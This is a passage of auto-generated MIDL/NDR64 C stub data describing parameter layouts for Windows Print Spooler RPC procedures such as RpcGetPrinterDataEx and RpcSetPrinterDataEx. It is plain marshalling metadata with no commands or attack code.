(NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag922_t __midl_frag922 =\n{ \n/* RpcDeletePrinterDriverEx */\n    { \n    /* RpcDeletePrinterDriverEx */      /* procedure RpcDeletePrinterDriverEx */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag1080,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag1081,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDriverName */      /* parameter pDriverName */\n        &__midl_frag1081,\n        { \n        /* pDriverName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* dwDeleteFlag */      /* parameter dwDeleteFlag */\n        &__midl_frag1082,\n        { \n        /* dwDeleteFlag */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* dwVersionNum */      /* parameter dwVersionNum */\n        &__midl_frag1082,\n        { \n        /* dwVersionNum */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag916_t __midl_frag916 =\n{ \n/* RpcDeletePrinterKey */\n    { \n    /* RpcDeletePrinterKey */      /* procedure RpcDeletePrinterKey */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pKeyName */      /* parameter pKeyName */\n        &__midl_frag1081,\n        { \n        /* pKeyName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag909_t __midl_frag909 =\n{ \n/* RpcDeletePrinterDataEx */\n    { \n    /* RpcDeletePrinterDataEx */      /* procedure RpcDeletePrinterDataEx */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pKeyName */      /* parameter pKeyName */\n        &__midl_frag1081,\n        { \n        /* pKeyName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pValueName */      /* parameter pValueName */\n        &__midl_frag1081,\n        { \n        /* pValueName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag904_t __midl_frag904 =\n0x11    /* FC64_WCHAR */;\n\nstatic const __midl_frag903_t __midl_frag903 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x11,    /* OP_SLASH */\n        0x0,    /* FC64_ZERO */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    },\n    { \n    /* struct _NDR64_EXPR_CONST64 */\n        0x2,    /* FC_EXPR_CONST64 */\n        0x7,    /* FC64_INT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT64) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag902_t __midl_frag902 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag903\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag904\n    }\n};\n\nstatic const __midl_frag901_t __midl_frag901 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag902\n};\n\nstatic const __midl_frag897_t __midl_frag897 =\n{ \n/* RpcEnumPrinterKey */\n    { \n    /* RpcEnumPrinterKey */      /* procedure RpcEnumPrinterKey */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pKeyName */      /* parameter pKeyName */\n        &__midl_frag1081,\n        { \n        /* pKeyName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pSubkey */      /* parameter pSubkey */\n        &__midl_frag902,\n        { \n        /* pSubkey */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbSubkey */      /* parameter cbSubkey */\n        &__midl_frag1082,\n        { \n        /* cbSubkey */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbSubkey */      /* parameter pcbSubkey */\n        &__midl_frag1082,\n        { \n        /* pcbSubkey */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag883_t __midl_frag883 =\n{ \n/* RpcEnumPrinterDataEx */\n    { \n    /* RpcEnumPrinterDataEx */      /* procedure RpcEnumPrinterDataEx */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pKeyName */      /* parameter pKeyName */\n        &__midl_frag1081,\n        { \n        /* pKeyName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pEnumValues */      /* parameter pEnumValues */\n        &__midl_frag966,\n        { \n        /* pEnumValues */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbEnumValues */      /* parameter cbEnumValues */\n        &__midl_frag1082,\n        { \n        /* cbEnumValues */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbEnumValues */      /* parameter pcbEnumValues */\n        &__midl_frag1082,\n        { \n        /* pcbEnumValues */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pnEnumValues */      /* parameter pnEnumValues */\n        &__midl_frag1082,\n        { \n        /* pnEnumValues */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag877_t __midl_frag877 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag876_t __midl_frag876 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag877\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag997\n    }\n};\n\nstatic const __midl_frag875_t __midl_frag875 =\n{ \n/* *BYTE */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag876\n};\n\nstatic const __midl_frag867_t __midl_frag867 =\n{ \n/* RpcGetPrinterDataEx */\n    { \n    /* RpcGetPrinterDataEx */      /* procedure RpcGetPrinterDataEx */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pKeyName */      /* parameter pKeyName */\n        &__midl_frag1081,\n        { \n        /* pKeyName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pValueName */      /* parameter pValueName */\n        &__midl_frag1081,\n        { \n        /* pValueName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pType */      /* parameter pType */\n        &__midl_frag1082,\n        { \n        /* pType */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pData */      /* parameter pData */\n        &__midl_frag876,\n        { \n        /* pData */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* nSize */      /* parameter nSize */\n        &__midl_frag1082,\n        { \n        /* nSize */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1082,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag854_t __midl_frag854 =\n{ \n/* RpcSetPrinterDataEx */\n    { \n    /* RpcSetPrinterDataEx */      /* procedure RpcSetPrinterDataEx */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pKeyName */      /* parameter pKeyName */\n        &__midl_frag1081,\n        { \n        /* pKeyName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pValueName */      /* parameter pValueName */\n        &__midl_frag1081,\n        { \n        /* pValueName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Type */      /* parameter Type */\n        &__midl_frag1082,\n        { \n        /* Type */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pData */      /* parameter pData */\n        &__midl_frag876,\n        { \n        /* pData */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbData */      /* parameter cbData */\n        &__midl_frag1082,\n        { \n        /* cbData */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            